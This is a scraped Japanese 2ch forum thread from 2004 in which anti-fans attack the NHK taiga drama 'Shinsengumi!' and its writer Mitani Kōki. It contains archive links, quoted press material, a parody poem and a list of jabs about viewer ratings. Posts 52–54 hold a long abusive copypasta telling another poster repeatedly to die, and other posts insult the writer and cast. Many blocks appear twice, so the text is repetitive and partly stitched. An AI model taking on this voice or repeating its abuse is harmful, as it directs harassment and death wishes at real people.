【後８回】新選組！ ｱﾝﾁｽﾚ 32【地獄のみ！】
1 ：名無しさん＠お腹いっぱい。：
※ようこそ、ここはアンチスレです。本スレからのお引越し歓迎。
▼▼▼▼▼住人心得▼▼▼▼▼
一.アンチと言えど心は広く保つべし。部分的アンチも歓迎の方向で。
一.それぞれの出演者ヲタはヲタ臭を控えめに（でも情報歓迎）
一.スレ違い板違いの雑談と脊髄反射チャットは禁止。心は熱くとも冷静に。
一.煽りしかできない口喧嘩上等クンと厨房は完全無視。でないと奴の思う壷。
一.周期的に妄想電波を発する人が来ます。おかしな書き込みに釣られないよう注意。
※特に空気を読めない電波厨房、及び仲間を装った自作自演は徹底放置。
打ち切りと喚き散らすだけの基地外的行為、一方的なNHK糾弾はNHK板で。
もしくはNHKに直接訴えるべし。
【本家ｱﾝﾁｽﾚ】新選組ｱﾝﾁｽﾚ 31【ﾏﾀﾞ終ﾜﾗﾝYO】
http://live14.2ch.net/test/read.cgi/nhkdrama/1096328077/
過去スレ・関連リンク・参考資料は>>2-7辺り
新選組！公式 http://www3.nhk.or.jp/taiga/index.html
大河への批判・苦情・ご意見
http://www.nhk.or.jp/plaza/mail_program/taiga.html
新選組！情報・過去ログ・関連リンクまとめ
http://www.geocities.co.jp/Hollywood-Studio/4224/shinsengumi/index.html
▼▼▼▼▼住人心得▼▼▼▼▼
一.アンチと言えど心は広く保つべし。部分的アンチも歓迎の方向で。
一.それぞれの出演者ヲタはヲタ臭を控えめに（でも情報歓迎）
一.スレ違い板違いの雑談と脊髄反射チャットは禁止。心は熱くとも冷静に。
一.煽りしかできない口喧嘩上等クンと厨房は完全無視。でないと奴の思う壷。
一.周期的に妄想電波を発する人が来ます。おかしな書き込みに釣られないよう注意。
※特に空気を読めない電波厨房、及び仲間を装った自作自演は徹底放置。
打ち切りと喚き散らすだけの基地外的行為、一方的なNHK糾弾はNHK板で。
もしくはNHKに直接訴えるべし。
【本家ｱﾝﾁｽﾚ】新選組ｱﾝﾁｽﾚ 31【ﾏﾀﾞ終ﾜﾗﾝYO】
http://live14.2ch.net/test/read.cgi/nhkdrama/1096328077/
過去スレ・関連リンク・参考資料は>>2-7辺り
新選組！公式 http://www3.nhk.or.jp/taiga/index.html
大河への批判・苦情・ご意見
http://www.nhk.or.jp/plaza/mail_program/taiga.html
新選組！情報・過去ログ・関連リンクまとめ
http://www.geocities.co.jp/Hollywood-Studio/4224/shinsengumi/index.html
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2 ：名無しさん＠お腹いっぱい。：04/10/23 23:48:21 ID:cTFOLR15
過去スレ集：
三谷大河を全否定するスレ（03/05/12-03/09/14）
http://ruku.qp.tc/dat2ch/0402/21/1052704331.html
三谷新選組を全粛清するスレ（03/09/09-03/12/09）
http://ruku.qp.tc/dat2ch/0402/21/1063076237.html
【全否定】三谷新撰組・被害者連絡会【part3】（03/12/08-04/01/07）
http://ruku.qp.tc/dat2ch/0402/21/1070869290.html
【新春若手】三谷大河全否定・４【隠し芸大会】（04/01/06-04/01/20）
http://ruku.qp.tc/dat2ch/0402/21/1073353786.html
【一週間】三谷新撰組全否定part5【天下】（04/01/20-04/02/02）
http://ruku.qp.tc/dat2ch/0403/04/1074531032.html
【武蔵に】三谷新撰組全否定part6【続くぞ】（04/02/02-04/02/13）
http://ruku.qp.tc/dat2ch/0403/04/1075691924.html
【想像力】三谷新撰組全否定part7【ﾀﾞｲﾅﾐｽﾞﾑ】（04/02/12-04/02/22）
http://ruku.qp.tc/dat2ch/0403/04/1076514441.html
【糞脚本】三谷新選組を叩っ斬る！Part8【金返せ】（04/02/21-04/02/29）
http://ruku.qp.tc/dat2ch/0403/04/1077354879.html
【失笑】視聴者ナメるな！三谷新選組 Part9【嘲笑】（04/02/29-04/03/04）
http://ruku.qp.tc/dat2ch/0403/31/1078057564.html
【所詮】三谷新選組で糞祭り Part10【武蔵の続編】 （04/03/04-04/03/10）
http://ruku.qp.tc/dat2ch/0403/31/1078383913.html
【噴飯】三谷新選組は学芸会！＃11【降板ﾏﾀﾞ？】 （04/03/10-04/03/14）
http://ruku.qp.tc/dat2ch/0403/31/1078904761.html
【ｶｯﾌﾟ麺で】新選組！三谷ｵﾅﾆｰ12発目【茶番劇】 （04/03/14-04/03/22）
http://ruku.qp.tc/dat2ch/0403/31/1079235532.html
【不快大河】新選組！三谷ｵﾅﾆ13発目【総ｱﾝﾁ化】（04/03/21-04/04/01）
http://ruku.qp.tc/dat2ch/0404/22/1079876077.html
【降板】三谷新選組！放送打切勧告14回目【手遅れ】（04/03/31-04/04/10）
http://ruku.qp.tc/dat2ch/0404/22/1080728482.html
【視聴率】新選組！三谷逆ｷﾞﾚ15回目【無視´_ゝ｀】（04/04/08-04/04/19）
http://ruku.qp.tc/dat2ch/0404/22/1081404405.html
三谷大河を全否定するスレ（03/05/12-03/09/14）
http://ruku.qp.tc/dat2ch/0402/21/1052704331.html
三谷新選組を全粛清するスレ（03/09/09-03/12/09）
http://ruku.qp.tc/dat2ch/0402/21/1063076237.html
【全否定】三谷新撰組・被害者連絡会【part3】（03/12/08-04/01/07）
http://ruku.qp.tc/dat2ch/0402/21/1070869290.html
【新春若手】三谷大河全否定・４【隠し芸大会】（04/01/06-04/01/20）
http://ruku.qp.tc/dat2ch/0402/21/1073353786.html
【一週間】三谷新撰組全否定part5【天下】（04/01/20-04/02/02）
http://ruku.qp.tc/dat2ch/0403/04/1074531032.html
【武蔵に】三谷新撰組全否定part6【続くぞ】（04/02/02-04/02/13）
http://ruku.qp.tc/dat2ch/0403/04/1075691924.html
【想像力】三谷新撰組全否定part7【ﾀﾞｲﾅﾐｽﾞﾑ】（04/02/12-04/02/22）
http://ruku.qp.tc/dat2ch/0403/04/1076514441.html
【糞脚本】三谷新選組を叩っ斬る！Part8【金返せ】（04/02/21-04/02/29）
http://ruku.qp.tc/dat2ch/0403/04/1077354879.html
【失笑】視聴者ナメるな！三谷新選組 Part9【嘲笑】（04/02/29-04/03/04）
http://ruku.qp.tc/dat2ch/0403/31/1078057564.html
【所詮】三谷新選組で糞祭り Part10【武蔵の続編】 （04/03/04-04/03/10）
http://ruku.qp.tc/dat2ch/0403/31/1078383913.html
【噴飯】三谷新選組は学芸会！＃11【降板ﾏﾀﾞ？】 （04/03/10-04/03/14）
http://ruku.qp.tc/dat2ch/0403/31/1078904761.html
【ｶｯﾌﾟ麺で】新選組！三谷ｵﾅﾆｰ12発目【茶番劇】 （04/03/14-04/03/22）
http://ruku.qp.tc/dat2ch/0403/31/1079235532.html
【不快大河】新選組！三谷ｵﾅﾆ13発目【総ｱﾝﾁ化】（04/03/21-04/04/01）
http://ruku.qp.tc/dat2ch/0404/22/1079876077.html
【降板】三谷新選組！放送打切勧告14回目【手遅れ】（04/03/31-04/04/10）
http://ruku.qp.tc/dat2ch/0404/22/1080728482.html
【視聴率】新選組！三谷逆ｷﾞﾚ15回目【無視´_ゝ｀】（04/04/08-04/04/19）
http://ruku.qp.tc/dat2ch/0404/22/1081404405.html
3 ：名無しさん＠お腹いっぱい。：04/10/23 23:48:41 ID:55A5gf/k
4 ：名無しさん＠お腹いっぱい。：04/10/23 23:48:54 ID:cTFOLR15
過去スレ集2：
【順調に】新選組！三谷醜態晒し16回目【乱降下中】（04/04/19-04/05/03）
http://ruku.qp.tc/dat2ch/0406/02/1082345192.html
【長期低落】新選組！三谷失禁17回目【歯止め無】（04/05/03-04/05/13）
http://ruku.qp.tc/dat2ch/0406/02/1083578679.html
【三谷錯乱】新選組！視聴者激怒18回目【吉川呆然】（04/05/12-04/05/23）
http://ruku.qp.tc/dat2ch/0406/02/1084359982.html
【ヤオイ】三谷新選組！腐女子専科＃19【ミ～ハ～】（04/05/22-04/05/29）
http://ruku.qp.tc/dat2ch/0406/02/1085162973.html
【ﾏｻﾞｺﾝVS】新選組！三谷香取失言大会 20【昼行灯】（04/05/29-04/06/01）
http://ruku.qp.tc/dat2ch/0406/11/1085771303.html
【目指せ】三谷新選組！祝・冬ｿﾅに完敗＃21【一桁】（04/06/01-04/06/07）
http://ruku.qp.tc/dat2ch/0406/11/1086091704.html
【ﾀﾞﾗﾀﾞﾗ】三谷新選組！視聴者爆発22秒前【ｲﾗｲﾗ】（04/06/06-04/06/11）
http://ruku.qp.tc/dat2ch/0407/28/1086529964.html
【ぶっちゃけ】三谷新選組！ｱﾝﾁｽﾚ23【ありえない】（04/06/11-04/06/18）
http://ruku.qp.tc/dat2ch/0407/28/1086880857.html
【だめだこりゃ】新選組！ ｱﾝﾁｽﾚ24【お前腹切れ】（04/06/14-04/07/06）
http://ruku.qp.tc/dat2ch/0407/28/1087199928.html
【ｦﾀ視聴者必死で】新選組ｱﾝﾁｽﾚ 25【不自然安定】（04/07/06-04/07/22）
http://ruku.qp.tc/dat2ch/0407/28/1089069931.html
過去スレ集3：
【池田屋16.6%】新選組！ｱﾝﾁｽﾚ 26【ご苦労様(藁 】（04/07/22-04/07/31）
http://tv6.2ch.net/test/read.cgi/kin/1090457179/
【張ったり君でも】新選組！ｱﾝﾁｽﾚ 27【やってろ】
http://tv6.2ch.net/test/read.cgi/kin/1091262393/l50
【脳内補完】三谷新選組アンチスレ 28【ｼﾅﾘｵ破綻】
http://tv6.2ch.net/test/read.cgi/kin/1091993534/l50
【ｱﾉ笑顔ﾆ二度ﾄ】新選組ｱﾝﾁｽﾚ 29【´_ゝ｀ﾌﾟｯ】
http://live14.2ch.net/test/read.cgi/nhkdrama/1093361620/
NHK板：
2004年大河ドラマ『新選組！』 4
http://ex5.2ch.net/test/read.cgi/nhk/1088516558/l50
最近不調の【紅白】と【大河】の再建策を提示する？
http://ex5.2ch.net/test/read.cgi/nhk/1010626371/l50
「海老沢辞めろ！」だけで１０００逝くスレ
http://ex5.2ch.net/test/read.cgi/nhk/1091635237/l50
海老沢勝二が引責辞任するまで受信料を絶対払わん！
http://ex5.2ch.net/test/read.cgi/nhk/1090946367/l50
ＮＨＫで死んでもらいたい人物、番組、組織
http://ex5.2ch.net/test/read.cgi/nhk/1049086593/l50
ＮＨＫ受信料・受信契約総合スレ＜11＞
http://ex5.2ch.net/test/read.cgi/nhk/1090372700/l50
テレビドラマ板：
三谷幸喜ドラマ総合スレ 4
http://ex5.2ch.net/test/read.cgi/tvd/1078489194/l50
三谷作品がつまらなくなった理由は？
http://ex5.2ch.net/test/read.cgi/tvd/1045665569/l50
日本史板：
新撰組つまらないとか言ってけど結局見るんだろ？３
http://academy3.2ch.net/test/read.cgi/history/1088657938/l50
【順調に】新選組！三谷醜態晒し16回目【乱降下中】（04/04/19-04/05/03）
http://ruku.qp.tc/dat2ch/0406/02/1082345192.html
【長期低落】新選組！三谷失禁17回目【歯止め無】（04/05/03-04/05/13）
http://ruku.qp.tc/dat2ch/0406/02/1083578679.html
【三谷錯乱】新選組！視聴者激怒18回目【吉川呆然】（04/05/12-04/05/23）
http://ruku.qp.tc/dat2ch/0406/02/1084359982.html
【ヤオイ】三谷新選組！腐女子専科＃19【ミ～ハ～】（04/05/22-04/05/29）
http://ruku.qp.tc/dat2ch/0406/02/1085162973.html
【ﾏｻﾞｺﾝVS】新選組！三谷香取失言大会 20【昼行灯】（04/05/29-04/06/01）
http://ruku.qp.tc/dat2ch/0406/11/1085771303.html
【目指せ】三谷新選組！祝・冬ｿﾅに完敗＃21【一桁】（04/06/01-04/06/07）
http://ruku.qp.tc/dat2ch/0406/11/1086091704.html
【ﾀﾞﾗﾀﾞﾗ】三谷新選組！視聴者爆発22秒前【ｲﾗｲﾗ】（04/06/06-04/06/11）
http://ruku.qp.tc/dat2ch/0407/28/1086529964.html
【ぶっちゃけ】三谷新選組！ｱﾝﾁｽﾚ23【ありえない】（04/06/11-04/06/18）
http://ruku.qp.tc/dat2ch/0407/28/1086880857.html
【だめだこりゃ】新選組！ ｱﾝﾁｽﾚ24【お前腹切れ】（04/06/14-04/07/06）
http://ruku.qp.tc/dat2ch/0407/28/1087199928.html
【ｦﾀ視聴者必死で】新選組ｱﾝﾁｽﾚ 25【不自然安定】（04/07/06-04/07/22）
http://ruku.qp.tc/dat2ch/0407/28/1089069931.html
過去スレ集3：
【池田屋16.6%】新選組！ｱﾝﾁｽﾚ 26【ご苦労様(藁 】（04/07/22-04/07/31）
http://tv6.2ch.net/test/read.cgi/kin/1090457179/
【張ったり君でも】新選組！ｱﾝﾁｽﾚ 27【やってろ】
http://tv6.2ch.net/test/read.cgi/kin/1091262393/l50
【脳内補完】三谷新選組アンチスレ 28【ｼﾅﾘｵ破綻】
http://tv6.2ch.net/test/read.cgi/kin/1091993534/l50
【ｱﾉ笑顔ﾆ二度ﾄ】新選組ｱﾝﾁｽﾚ 29【´_ゝ｀ﾌﾟｯ】
http://live14.2ch.net/test/read.cgi/nhkdrama/1093361620/
NHK板：
2004年大河ドラマ『新選組！』 4
http://ex5.2ch.net/test/read.cgi/nhk/1088516558/l50
最近不調の【紅白】と【大河】の再建策を提示する？
http://ex5.2ch.net/test/read.cgi/nhk/1010626371/l50
「海老沢辞めろ！」だけで１０００逝くスレ
http://ex5.2ch.net/test/read.cgi/nhk/1091635237/l50
海老沢勝二が引責辞任するまで受信料を絶対払わん！
http://ex5.2ch.net/test/read.cgi/nhk/1090946367/l50
ＮＨＫで死んでもらいたい人物、番組、組織
http://ex5.2ch.net/test/read.cgi/nhk/1049086593/l50
ＮＨＫ受信料・受信契約総合スレ＜11＞
http://ex5.2ch.net/test/read.cgi/nhk/1090372700/l50
テレビドラマ板：
三谷幸喜ドラマ総合スレ 4
http://ex5.2ch.net/test/read.cgi/tvd/1078489194/l50
三谷作品がつまらなくなった理由は？
http://ex5.2ch.net/test/read.cgi/tvd/1045665569/l50
日本史板：
新撰組つまらないとか言ってけど結局見るんだろ？３
http://academy3.2ch.net/test/read.cgi/history/1088657938/l50
5 ：名無しさん＠お腹いっぱい。：04/10/23 23:49:30 ID:cTFOLR15
★ＮＨＫ制作広報資料
三谷幸喜
(前略) なんたってこっちは専門がコメディですので、僕の「大河」は、あくまでも等身大で、
肩に力の入らない、自然体で行こうと思っています。
そういう意味では、もっとも「大河」らしくない「大河」になるはず（予定）。
でも、ご安心下さい。僕自身が大河ドラマで育った世代なんです。きっと全国の大河ファンが
待ち望んでいた、そんな作品にしてみせます。僕自身が毎週日曜の夜に、わくわくしながら
観ていたあの思いを、僕より下の世代の人に伝える。それが「大河」、そして「テレビ」への
恩返しだと、僕は本気で考えます。
「期待に応えて予想を裏切る」。これですよ、これ。
★三谷氏、「新選組！」の視聴率は無視
ＮＨＫ大河ドラマ「新選組！」（日曜午後８時）の脚本を務める三谷幸喜氏（４２）が
「視聴率無視」を決め込んだ。三谷氏は７日、土方歳三役の山本耕史（２７）とともに都内の
同局を訪れ、最近の視聴率について言及。１月の初回放送から視聴率が低迷しているが
「気にしていない。気にする理由が分からない」と語り、視聴率を人気のバロメーターとして
とらえていないことを示した。
初回（１月１１日）こそ視聴率２６・３％（ビデオリサーチ、関東地区）と、最近１０年間の
大河で２位を記録したが、今月４日の放送分で１５・６％まで低迷した。過去フジテレビの
人気ドラマ「古畑任三郎」の脚本を手掛け平均的に視聴率２０％を記録した実績も持つが
「今回は連続性のあるドラマで古畑とは別物。１５％という数字もすごい高いと思う」と語った。
視聴率無視の理由はこうだ。「新選組！」は、衛星放送を含め同じ作品を１週間に７回放送
している。多チャンネル化、視聴者の時間的選択肢が広がっているだけに、人気は視聴率だけで
推し量れない。三谷氏は「むしろ４５分間の放送で分単位の視聴率の推移を重視する」と言及。
「ラストに下がるのは問題だが、常にしり上がりに良くなっている」と自信を深めていた。
［2004/4/8/06:43 紙面から］
833 ：名乗る程の者ではござらん ：04/08/08 07:25 ID:???
こないだ発売の女性セブン、巻頭カラーページに香取のインタビューが載ってる。
山田美保子の連載なんだけど「台本は現場で頭に入れる」とか、やっぱりつーか
いろいろ痛い点が浮き彫りに…。取材はスマステ、27時間テレビ、いいとも、スマスマの
収録の合間で、特に忙しい時期に行われた模様。
これ読むと香取はわりと己を知っていると言うか謙虚（かつ天然？）なようだ。
------------------------------
（香取の忙しさを解説しつつ、ハットリ君がらみの話なので前半省略）
なんと、約束の時間がここで終了！スタッフの方から「集中力が途切れるから
収録中の取材は…」と言われていたし、スケジュールがキツキツの中、無理に
時間を出して貰ったので仕方がないと思っていたら、
「もうちょっと。ここにいて下さい。すぐ戻りますから！」とハットリ君のように
ダッシュでスタジオへ。それから2回も収録から飛び出して来てくれて、
「時間、大丈夫ですか？気になっちゃって、気になっちゃって……」
台本は現場で頭に入れるというすごい集中力を持ちながら、この気遣い。
それから2時間後、休憩となり、またダッシュで私たちが待つ場所まで飛んで来てくれた。
これが大河ドラマ「新選組！」で主役張ってる人の姿？
「このあいだ三谷サンに話したら”そんな人は今までにもいないだろうし、
これからも出て来ないだろう”って言われました（笑）
役者を目指してたわけでもなく、自分の事を役者と思ってないのに
大河やった人もいないだろううなあ。役者の人に申し訳ないです。
バラエティーやってても芸人さんじゃないし」
834 ：続き ：04/08/08 07:26 ID:???
確かに……。でも三谷サンはじめ、どうしても慎吾チャンとやりたいと指名する人、多数。
某放送作家も「バラエティーに出ている人の中で一番の天才」と言い切っている。
「僕の事を求めてくれている人がいる限り、いろんなことに挑戦したいです。
三谷さんには”ぼくの夢を叶えて欲しい”って言われて、もう”うん”と
言わざるを得なかった（笑）」
だからだろうか。三谷サンは慎吾チャンに付きっきりでワンシーンごとに
レクチャーしている。（後半省略）
三谷幸喜
(前略) なんたってこっちは専門がコメディですので、僕の「大河」は、あくまでも等身大で、
肩に力の入らない、自然体で行こうと思っています。
そういう意味では、もっとも「大河」らしくない「大河」になるはず（予定）。
でも、ご安心下さい。僕自身が大河ドラマで育った世代なんです。きっと全国の大河ファンが
待ち望んでいた、そんな作品にしてみせます。僕自身が毎週日曜の夜に、わくわくしながら
観ていたあの思いを、僕より下の世代の人に伝える。それが「大河」、そして「テレビ」への
恩返しだと、僕は本気で考えます。
「期待に応えて予想を裏切る」。これですよ、これ。
★三谷氏、「新選組！」の視聴率は無視
ＮＨＫ大河ドラマ「新選組！」（日曜午後８時）の脚本を務める三谷幸喜氏（４２）が
「視聴率無視」を決め込んだ。三谷氏は７日、土方歳三役の山本耕史（２７）とともに都内の
同局を訪れ、最近の視聴率について言及。１月の初回放送から視聴率が低迷しているが
「気にしていない。気にする理由が分からない」と語り、視聴率を人気のバロメーターとして
とらえていないことを示した。
初回（１月１１日）こそ視聴率２６・３％（ビデオリサーチ、関東地区）と、最近１０年間の
大河で２位を記録したが、今月４日の放送分で１５・６％まで低迷した。過去フジテレビの
人気ドラマ「古畑任三郎」の脚本を手掛け平均的に視聴率２０％を記録した実績も持つが
「今回は連続性のあるドラマで古畑とは別物。１５％という数字もすごい高いと思う」と語った。
視聴率無視の理由はこうだ。「新選組！」は、衛星放送を含め同じ作品を１週間に７回放送
している。多チャンネル化、視聴者の時間的選択肢が広がっているだけに、人気は視聴率だけで
推し量れない。三谷氏は「むしろ４５分間の放送で分単位の視聴率の推移を重視する」と言及。
「ラストに下がるのは問題だが、常にしり上がりに良くなっている」と自信を深めていた。
［2004/4/8/06:43 紙面から］
833 ：名乗る程の者ではござらん ：04/08/08 07:25 ID:???
こないだ発売の女性セブン、巻頭カラーページに香取のインタビューが載ってる。
山田美保子の連載なんだけど「台本は現場で頭に入れる」とか、やっぱりつーか
いろいろ痛い点が浮き彫りに…。取材はスマステ、27時間テレビ、いいとも、スマスマの
収録の合間で、特に忙しい時期に行われた模様。
これ読むと香取はわりと己を知っていると言うか謙虚（かつ天然？）なようだ。
------------------------------
（香取の忙しさを解説しつつ、ハットリ君がらみの話なので前半省略）
なんと、約束の時間がここで終了！スタッフの方から「集中力が途切れるから
収録中の取材は…」と言われていたし、スケジュールがキツキツの中、無理に
時間を出して貰ったので仕方がないと思っていたら、
「もうちょっと。ここにいて下さい。すぐ戻りますから！」とハットリ君のように
ダッシュでスタジオへ。それから2回も収録から飛び出して来てくれて、
「時間、大丈夫ですか？気になっちゃって、気になっちゃって……」
台本は現場で頭に入れるというすごい集中力を持ちながら、この気遣い。
それから2時間後、休憩となり、またダッシュで私たちが待つ場所まで飛んで来てくれた。
これが大河ドラマ「新選組！」で主役張ってる人の姿？
「このあいだ三谷サンに話したら”そんな人は今までにもいないだろうし、
これからも出て来ないだろう”って言われました（笑）
役者を目指してたわけでもなく、自分の事を役者と思ってないのに
大河やった人もいないだろううなあ。役者の人に申し訳ないです。
バラエティーやってても芸人さんじゃないし」
834 ：続き ：04/08/08 07:26 ID:???
確かに……。でも三谷サンはじめ、どうしても慎吾チャンとやりたいと指名する人、多数。
某放送作家も「バラエティーに出ている人の中で一番の天才」と言い切っている。
「僕の事を求めてくれている人がいる限り、いろんなことに挑戦したいです。
三谷さんには”ぼくの夢を叶えて欲しい”って言われて、もう”うん”と
言わざるを得なかった（笑）」
だからだろうか。三谷サンは慎吾チャンに付きっきりでワンシーンごとに
レクチャーしている。（後半省略）
6 ：名無しさん＠お腹いっぱい。：04/10/23 23:49:57 ID:cTFOLR15
武蔵にも負け 野球にも負け
冬ソナにも負け 天気予報にすら負け
丈夫な毛の生えた心臓をもち 欲は果てしなく
決して謙虚にならず いつも厚かましく吠え立てている
一日にほめ殺しの提灯記事と友人の激励FAXを読み おのれを慰め
大量のスポーツ紙をコンビニで立ち読みして客に怒鳴られ
あらゆることを自分の擁護にすり替え
半ば見聞きし分かったつもりになり そして都合よく忘れ
田園調布育ちのマザコンお坊っちゃまとしてぬくぬくと暮らし
東の調布日野市民には「あれはちょっと…（ry」と困った顔をされ
西の八木家末裔には「もう少し史実通りにやって欲しい」と渋い顔をされ
新宿にスタジオアルタあれば 行って「毎年でもやりたいですね」などと抜かし
ｷﾀ━(ﾟ∀ﾟ)━!!の2ch住民には つまらないから池田屋で打ち切れと言われ
視聴率の低い時は（自分が可哀想で）涙を流し 部屋の中でおろおろ歩き
みんなに電波脚本家と呼ばれ 褒められもせず 話題にもされず
そういうものに わたしは なってるかモナー
∧__∧ ________
( ´∀｀)/￣/￣/
（ 二二二つ / と）
| / / /
＿＿ | 三 谷￣|￣￣
＼ ￣￣￣￣￣￣￣＼
||＼ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
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冬ソナにも負け 天気予報にすら負け
丈夫な毛の生えた心臓をもち 欲は果てしなく
決して謙虚にならず いつも厚かましく吠え立てている
一日にほめ殺しの提灯記事と友人の激励FAXを読み おのれを慰め
大量のスポーツ紙をコンビニで立ち読みして客に怒鳴られ
あらゆることを自分の擁護にすり替え
半ば見聞きし分かったつもりになり そして都合よく忘れ
田園調布育ちのマザコンお坊っちゃまとしてぬくぬくと暮らし
東の調布日野市民には「あれはちょっと…（ry」と困った顔をされ
西の八木家末裔には「もう少し史実通りにやって欲しい」と渋い顔をされ
新宿にスタジオアルタあれば 行って「毎年でもやりたいですね」などと抜かし
ｷﾀ━(ﾟ∀ﾟ)━!!の2ch住民には つまらないから池田屋で打ち切れと言われ
視聴率の低い時は（自分が可哀想で）涙を流し 部屋の中でおろおろ歩き
みんなに電波脚本家と呼ばれ 褒められもせず 話題にもされず
そういうものに わたしは なってるかモナー
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7 ：名無しさん＠お腹いっぱい。：04/10/23 23:50:13 ID:cTFOLR15
・幕末物だから・・・・・・・・・他の幕末大河に比べても低視聴率ですが
・野球があるから・・・・・・・・野球の影響は新選組に限った話じゃないですが
・巨人戦を観るから・・・・・・・巨人戦視聴率は今年最低ですが
・マスコミが叩いたから・・・・・去年もかなり叩かれましたが去年より低いですが
・関西では阪神戦を観るから・・・こないだデイゲームだったのに視聴率低かったですが
・再放送やＢＳがあるから・・・・それなら初回から視聴者ばらけるはずですよね？
・もういいよ、観るなよ・・・・・大部分の人は観てません
・野球があるから・・・・・・・・野球の影響は新選組に限った話じゃないですが
・巨人戦を観るから・・・・・・・巨人戦視聴率は今年最低ですが
・マスコミが叩いたから・・・・・去年もかなり叩かれましたが去年より低いですが
・関西では阪神戦を観るから・・・こないだデイゲームだったのに視聴率低かったですが
・再放送やＢＳがあるから・・・・それなら初回から視聴者ばらけるはずですよね？
・もういいよ、観るなよ・・・・・大部分の人は観てません
8 ：名無しさん＠お腹いっぱい。：04/10/24 00:06:40 ID:Vxb/HkMv
9 ：名無しさん＠お腹いっぱい。：04/10/24 00:23:46 ID:nViNxeVE
10 ：名無しさん＠お腹いっぱい。：04/10/24 00:29:41 ID:3QbBmjV+
>>9
クランクアップの模様、龍馬特集、油小路その他の予告
ヤマコーと堺の伝通院トーク
などです（順序はばらばら）
ああ、あと年の初めに
週刊誌が批判してた龍馬と会ってたはずがない
についてはいってたな
それにしても龍馬が近藤にいろいろ教えたといってた話で気づいたんだが
龍馬と会わなくなってから近藤の周りから時勢についての話がほとんどでなくなってたんだな
なぜか薩長同盟をリアルタイムで把握していたくらいで
クランクアップの模様、龍馬特集、油小路その他の予告
ヤマコーと堺の伝通院トーク
などです（順序はばらばら）
ああ、あと年の初めに
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についてはいってたな
それにしても龍馬が近藤にいろいろ教えたといってた話で気づいたんだが
龍馬と会わなくなってから近藤の周りから時勢についての話がほとんどでなくなってたんだな
なぜか薩長同盟をリアルタイムで把握していたくらいで
11 ：名無しさん＠お腹いっぱい。：04/10/24 00:40:56 ID:rROwrQ4W
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12 ：名無しさん＠お腹いっぱい。：04/10/24 00:41:33 ID:rROwrQ4W
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13 ：名無しさん＠お腹いっぱい。：04/10/24 00:42:03 ID:rROwrQ4W
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24 ：名無しさん＠お腹いっぱい。：04/10/24 00:47:13 ID:nViNxeVE
>>10
ご丁寧にどうも。ﾄﾝｸｽ。
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25 ：名無しさん＠お腹いっぱい。：04/10/24 00:47:15 ID:rROwrQ4W
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36 ：名無しさん＠お腹いっぱい。：04/10/24 00:52:12 ID:rROwrQ4W
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37 ：名無しさん＠お腹いっぱい。：04/10/24 00:52:34 ID:rROwrQ4W
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38 ：名無しさん＠お腹いっぱい。：04/10/24 00:53:01 ID:rROwrQ4W
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39 ：名無しさん＠お腹いっぱい。：04/10/24 00:53:22 ID:rROwrQ4W
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40 ：名無しさん＠お腹いっぱい。：04/10/24 00:53:45 ID:rROwrQ4W
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41 ：名無しさん＠お腹いっぱい。：04/10/24 00:54:07 ID:rROwrQ4W
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42 ：名無しさん＠お腹いっぱい。：04/10/24 00:54:43 ID:rROwrQ4W
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44 ：名無しさん＠お腹いっぱい。：04/10/24 00:55:37 ID:rROwrQ4W
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45 ：名無しさん＠お腹いっぱい。：04/10/24 00:56:05 ID:rROwrQ4W
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46 ：名無しさん＠お腹いっぱい。：04/10/24 00:56:29 ID:rROwrQ4W
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47 ：名無しさん＠お腹いっぱい。：04/10/24 00:56:52 ID:rROwrQ4W
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50 ：名無しさん＠お腹いっぱい。：04/10/24 00:58:21 ID:rROwrQ4W
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51 ：名無しさん＠お腹いっぱい。：04/10/24 01:16:55 ID:Zg68vZDn
すげえｗ
52 ：名無しさん＠お腹いっぱい。：04/10/24 01:49:09 ID:v1F4pTml
ID:rROwrQ4W
死ね
死ね
53 ：>>ID:rROwrQ4W：04/10/24 02:27:07 ID:BDfZAerV
あれほど言ったのに、まだそんなカキコするですか！もう許さんです！
あんたを許すわけにはいかんです！こんなカキコでレスたくさん付くとでも思ってるなんて頭おかしーよです！あんたみたいなバカ初めて見たです！
あんたみたいなバカ、ゴキブリ以下です！あんたみたいなバカ、ウジ虫以下です！
死んでほしーです！つーか、死ぬべきです！あんたは絶対に許されないです！
勘違いしたバカを許すわけにはいかんのです！面白半分にいい加減なカキコするヤツなど許さんです！キャラメルコーンのピーナッツをケツの穴に詰めて死ねよです！！！
今まであんたがどんな生き方してきたか知らんけど、どーせひどい生き様だったと想像出来るです！あんたのカキコから読みとれるです！バカ特有の匂いがするです！あんたのことが全く理解出来んです！あんたは絶対許さんです！
死んでも許さんです！地獄で苦しめよです！それでも足らんくらいです！
豆腐の角に頭ぶつけて死ねよです！！！
あんたもっと現実を知れよです！いつまでも引きこもってネクラなことしてる場合じゃないよです！でも、もー手遅れです！あんたは何をやってもダメです！
この世に生まれてきたことを後悔してもダメです！あんたは生まれ変わってもどうせダメ人間に決まってるです！絞め殺したいけどあんたに触るのが嫌なのでやめるです！でも、あんたみたいなカスは死ねよです！風呂の排水溝に吸い込まれて死ねよです！！！
絶対許さんです！絶対許さんです！絶対許さんです！あんたみたいなヤツは絶対許さんです！早く消えろです！さっさとこの世からいなくなれよです！！！
いつまでも勘違いしたまま生きていけると思ったら大間違いだよです！このまま生きててもお前にはいーことなんにもねーよです！何でもいいからさっさと死ねよです！！！
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死んでも許さんです！地獄で苦しめよです！それでも足らんくらいです！
豆腐の角に頭ぶつけて死ねよです！！！
あんたもっと現実を知れよです！いつまでも引きこもってネクラなことしてる場合じゃないよです！でも、もー手遅れです！あんたは何をやってもダメです！
この世に生まれてきたことを後悔してもダメです！あんたは生まれ変わってもどうせダメ人間に決まってるです！絞め殺したいけどあんたに触るのが嫌なのでやめるです！でも、あんたみたいなカスは死ねよです！風呂の排水溝に吸い込まれて死ねよです！！！
絶対許さんです！絶対許さんです！絶対許さんです！あんたみたいなヤツは絶対許さんです！早く消えろです！さっさとこの世からいなくなれよです！！！
いつまでも勘違いしたまま生きていけると思ったら大間違いだよです！このまま生きててもお前にはいーことなんにもねーよです！何でもいいからさっさと死ねよです！！！
54 ：名無しさん＠お腹いっぱい。：04/10/24 04:11:43 ID:RiLP8mQj
あれほど言ったのに、まだそんなカキコするですか！もう許さんです！
あんたを許すわけにはいかんです！こんなカキコでレスたくさん付くとでも思ってるなんて頭おかしーよです！あんたみたいなバカ初めて見たです！
あんたみたいなバカ、ゴキブリ以下です！あんたみたいなバカ、ウジ虫以下です！
